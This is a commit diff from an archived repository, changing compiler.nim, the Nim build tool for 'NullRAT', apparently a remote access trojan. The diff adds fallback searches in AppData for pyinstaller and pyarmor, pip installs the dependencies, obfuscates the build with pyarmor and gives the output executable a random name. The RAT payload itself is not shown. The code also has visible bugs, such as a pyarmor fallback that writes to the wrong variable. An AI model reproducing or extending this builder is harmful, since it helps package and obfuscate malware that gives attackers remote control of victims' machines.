Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 6da4b87

Browse files
committed
Add attempt pyinstaller and pyarmor path finder
1 parent bd6cb97 commit 6da4b87

1 file changed

Lines changed: 96 additions & 48 deletions

File tree

compiler.nim

Lines changed: 96 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,6 @@ import std/browsers
44
import std/osproc
55
import std/random
66
import std/envvars
7-
import std/files
87
import std/[strutils, strformat]
98

109
randomize()
@@ -25,7 +24,7 @@ proc cleanWorkingDir() =
2524
if dirExists(absolutePath("NullRAT")):
2625
createDir("NullRAT2")
2726
moveFile(absolutePath("NullRAT" / "custom_icon.ico"), dirrr / "NullRAT2" / "custom_icon.ico")
28-
moveFile(absolutePath("NullRAT" / "RAT.py"), dirrr / "NullRAT2" / "RAT.py")
27+
moveFile(absolutePath("NullRAT" / "RAT.py"), dirrr / "NullRAT2" / "RAT.py")
2928
moveDir(absolutePath("NullRAT" / "modules"), dirrr / "NullRAT2" / "modules")
3029
moveDir(absolutePath("NullRAT" / "upx"), dirrr / "NullRAT2" / "upx")
3130
# check existing variables
@@ -42,13 +41,14 @@ proc cleanWorkingDir() =
4241
removeFile("AIO_Legacy.bat")
4342

4443
# remove git stuff if downloaded from source
45-
echo "Remove git files? (y/N)"
46-
var inpu: char = getch()
47-
if inpu == 'y' or inpu == 'Y':
48-
removeDir(".git")
49-
removeFile("README.md")
50-
removeFile("Getting Variables.md")
51-
removeFile(".gitignore")
44+
if dirExists(absolutePath(".git")):
45+
echo "Remove git files? (y/N)"
46+
var inpu: char = getch()
47+
if inpu == 'y' or inpu == 'Y':
48+
removeDir(".git")
49+
removeFile("README.md")
50+
removeFile("Getting Variables.md")
51+
removeFile(".gitignore")
5252

5353
removeFile("RAT.exe")
5454
removeDir("build")
@@ -130,44 +130,78 @@ proc compiler(): int =
130130
elif input == 'Q' or input == 'q': return 0
131131
else:
132132
stdout.styledWriteLine(fgCyan, {styleBright}, "- Compiling using selected settings...")
133-
134133
stdout.styledWriteLine(fgCyan, {styleBright}, "- Checking pyinstaller...")
135-
# Find working pyinstaller executable
136-
var wherePy = splitLines(execCmdEx("where pyinstaller").output)
137134
var pyinst: string = "undef";
138-
for pyinstaller in wherePy:
139-
if pyinstaller == "": continue
140-
var code = execCmdEx(pyinstaller).exitCode
141-
if code == 2:
142-
pyinst = pyinstaller
143-
break
144-
if "undef" notin pyinst:
145-
echo "Found! ", pyinst
146-
else:
147-
echo "[FATAL] Pyinstaller executable not found."
148-
echo "Please check your environment variables and python installation"
149-
echo "before continuing..... Exiting in 5 seconds"
150-
sleep(5000)
151-
return 0
152-
135+
var armor: string = "undef";
136+
# Find working pyinstaller executable
137+
var wherePy: seq[string]
138+
try:
139+
wherePy = splitLines(execCmdEx("where pyinstaller").output)
140+
for pyinstaller in wherePy:
141+
if pyinstaller == "": continue
142+
var code = execCmdEx(pyinstaller).exitCode
143+
if code == 2:
144+
pyinst = pyinstaller
145+
break
146+
if "undef" notin pyinst:
147+
echo "Found! ", pyinst
148+
else:
149+
echo "[FATAL] Pyinstaller executable not found."
150+
echo "Please check your environment variables and python installation"
151+
echo "before continuing..... Exiting in 5 seconds"
152+
sleep(5000)
153+
return 0
154+
except OSError:
155+
# Modules not in path, try to find scripts directory
156+
echo "Pyinstaller executable not found"
157+
echo "Attempting to locate the executable in AppData....."
158+
var localappdata = getEnv("localappdata")
159+
for path in walkDirRec(localappdata):
160+
if "pyinstaller" in path:
161+
echo "Found!", path
162+
pyinst = path
163+
break
164+
if "undef" in pyinst:
165+
echo "[FATAL] Pyinstaller executable not found."
166+
echo "Please check your environment variables and python installation"
167+
echo "before continuing..... Exiting in 5 seconds"
168+
sleep(5000)
169+
return 0
170+
153171
stdout.styledWriteLine(fgCyan, {styleBright}, "- Checking pyarmor...")
154172
# Find working pyarmor executable
155-
var whereArmor = splitLines(execCmdEx("where pyarmor-7").output)
156-
var armor: string = "undef";
157-
for pyarmor in whereArmor:
158-
if pyarmor == "": continue
159-
var code = execCmdEx(pyarmor).exitCode
160-
if code == 2:
161-
armor = pyarmor
162-
break
163-
if "undef" notin armor:
164-
echo "Found! ", armor
165-
else:
166-
echo "[FATAL] Pyarmor executable not found."
167-
echo "Please check your environment variables and python installation"
168-
echo "before continuing..... Exiting in 5 seconds"
169-
sleep(5000)
170-
return 0
173+
try:
174+
var whereArmor = splitLines(execCmdEx("where pyarmor-7").output)
175+
for pyarmor in whereArmor:
176+
if pyarmor == "": continue
177+
var code = execCmdEx(pyarmor).exitCode
178+
if code == 2:
179+
armor = pyarmor
180+
break
181+
if "undef" notin armor:
182+
echo "Found! ", armor
183+
else:
184+
echo "[FATAL] Pyarmor executable not found."
185+
echo "Please check your environment variables and python installation"
186+
echo "before continuing..... Exiting in 5 seconds"
187+
sleep(5000)
188+
return 0
189+
except OSError:
190+
# Modules not in path, try to find scripts directory
191+
echo "Pyarmor executable not found"
192+
echo "Attempting to locate the executable in AppData....."
193+
var localappdata = getEnv("localappdata")
194+
for path in walkDirRec(localappdata):
195+
if "armor" in path:
196+
echo "Found!", path
197+
pyinst = path
198+
break
199+
if "undef" in pyinst:
200+
echo "[FATAL] Pyarmor executable not found."
201+
echo "Please check your environment variables and python installation"
202+
echo "before continuing..... Exiting in 5 seconds"
203+
sleep(5000)
204+
return 0
171205

172206
# Compiling
173207
stdout.styledWriteLine(fgCyan, {styleBright}, "- Creating tempdir...")
@@ -214,13 +248,15 @@ proc compiler(): int =
214248
if obfuscate: discard execShellCmd(pyarmor_cmd)
215249
else: discard execShellCmd(pyinst_cmd)
216250

251+
var name = $rand(6969) & ".exe"
217252
if fileExists(currdir / "dist" / "765678976567.exe"):
218-
moveFile(currdir / "dist" / "765678976567.exe", dirr / "app.exe")
253+
moveFile(currdir / "dist" / "765678976567.exe", dirr / name)
219254
setCurrentDir(dirr / "NullRAT")
220255
removeDir(folderName)
221256

222-
stdout.styledWriteLine(fgGreen, {styleBright}, "Build Successful!")
257+
stdout.styledWriteLine(fgGreen, {styleBright}, "Build Successful! Output in " & name)
223258
discard getch()
259+
quit(0)
224260

225261
proc variablesCreator(x: int) =
226262
printName()
@@ -307,10 +343,15 @@ proc packageInstaller() =
307343
stdout.styledWriteLine(fgGreen, {styleBright}, "- Python installed!")
308344
echo ""
309345
stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...")
310-
var result = execCmdEx("pip freeze")
346+
var result = execCmdEx("dism")
347+
try:
348+
result = execCmdEx("pip freeze")
349+
except OSError:
350+
result = execCmdEx("py -m pip freeze")
311351
var allInstalled: bool = true
312352
if result.exitCode != 0:
313-
echo "pip command failed to execute!!"
353+
echo "[FATAL] pip command failed to execute!!"
354+
sleep(2000)
314355
else:
315356
for module in pipModules:
316357
if module notin result.output:
@@ -329,7 +370,13 @@ proc packageInstaller() =
329370
stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...")
330371
sleep(2000)
331372
variablesCreator(0)
332-
373+
else:
374+
var res = execShellCmd("py -m pip install pyinstaller==4.10 virtualenv aiohttp disnake requests mss pyarmor")
375+
if res == 0:
376+
echo "========================"
377+
stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...")
378+
sleep(2000)
379+
variablesCreator(0)
333380
else:
334381
stdout.styledWriteLine({styleBright}, "- Python not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
335382
var input: char = getch();
@@ -341,6 +388,7 @@ proc packageInstaller() =
341388
else:
342389
openDefaultBrowser("https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe")
343390
echo ""
391+
echo "https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe"
344392
stdout.styledWriteLine({styleBright}, "Your browser should start downloading the installer already.")
345393
stdout.styledWriteLine({styleBright}, "Since we do not support automatic installation of python,")
346394
stdout.styledWriteLine({styleBright}, "you have to run the installer manually.")

0 commit comments

Comments
 (0)